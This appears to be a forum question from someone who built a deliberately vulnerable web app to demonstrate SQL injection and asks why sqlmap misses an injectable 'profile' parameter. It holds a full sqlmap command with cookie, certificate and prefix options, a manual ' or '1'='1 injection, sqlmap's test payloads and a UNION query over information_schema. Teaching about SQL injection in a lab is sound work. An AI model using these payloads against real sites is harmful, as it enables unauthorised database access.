I have built a vulnerable web application to demonstrate SQL injection. I want to show both manual injection and automated injection. The injection requires a) the user to be logged in (session cookie), b) a user SSL certificate and c) a PREFIX.
My command is:
python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16
I can see that SQLmap is working away, but it never finds the field to be injectable.
A manual injection like this works:
http://vulnapp.com/index.php?profile=admin' or '1'='1
Things that might be causing SQLmap to fail:
- The returned error message is a custom error message, not a MySQL error message.
- The profile prefix must be the logged in username.
UNIONisn't testing enough fields possibly
- Its not testing strings but just integers (for instance
AND 3347=7762and not
- Its testing
OR(I can't see any
ORs being tested)
- The http
GETrequest is then passed to JS which ajax's for the data from the server. Perhaps the response is lost to SQLmap?
Below is some of the queries that can see it is testing, but apparently they all fail.
[PAYLOAD] admin' AND 3115=1602 AND (3320=3320 [PAYLOAD] admin' AND 5213=5213 AND (8263=8263 [PAYLOAD] admin' AND 3347=7762 [PAYLOAD] admin' AND 5213=5213 [PAYLOAD] admin' ORDER BY 1-- [PAYLOAD] admin' ORDER BY 3421-- [PAYLOAD] admin' UNION ALL SELECT NULL-- [PAYLOAD] admin' UNION ALL SELECT NULL,NULL-- [PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL-- [PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--
EDIT: This query also works manually:
' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x
However, SQLmap doesn't seem to test unions like that.